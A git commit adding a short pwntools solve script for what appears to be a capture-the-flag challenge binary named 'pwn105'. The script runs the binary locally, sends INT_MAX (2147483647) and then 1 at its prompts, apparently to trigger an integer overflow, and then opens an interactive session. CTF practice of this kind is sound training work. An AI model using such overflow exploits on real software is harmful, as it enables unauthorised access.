solve script

This commit is contained in:
jc
2024-10-28 01:18:20 +03:00
parent c6c10aaf35
commit 1a86f985ba
+15
View File
@@ -0,0 +1,15 @@
#!/usr/bin/python3
from pwn import *
context.binary = target = ELF("./pwn105", checksec=False)
r = process()
# funcs
s = lambda a: r.sendlineafter(b">> ", a)
# pop
s(b"2147483647")
s(b"1")
r.interactive()